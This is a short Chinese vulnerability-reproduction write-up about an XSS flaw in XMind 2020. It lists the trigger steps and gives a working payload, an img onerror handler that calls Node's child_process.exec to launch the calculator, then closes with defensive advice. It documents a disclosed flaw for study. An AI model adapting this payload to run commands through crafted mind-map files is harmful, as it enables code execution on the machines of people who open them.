xmind2020xss漏洞复现

今天看到某数字漏洞平台公布的xmind漏洞，尝试复现一下

一、复现环境

使用软件为xmind2020版本，可以在xmind官网（https://www.xmind.cn/）进行下载

二、复现过程

1.创建一个思维导图，内容中写入payload

2.进入大纲选项，选中内容按功能键，如shift、ctrl、alt、win键

3.进一步利用漏洞进行命令执行（payload来自于https://mp.weixin.qq.com/s/NjrycY4TxEz_vV83prNBzw），成功弹出计算器。payload如下：

<img src=x onerror="const exec = require('child_process').exec;exec('calc').stdout.on('data', function (data) {alert(data);})">

三、防范方面

1.及时更新软件版本
2.不要随便打开来源不明的思维导图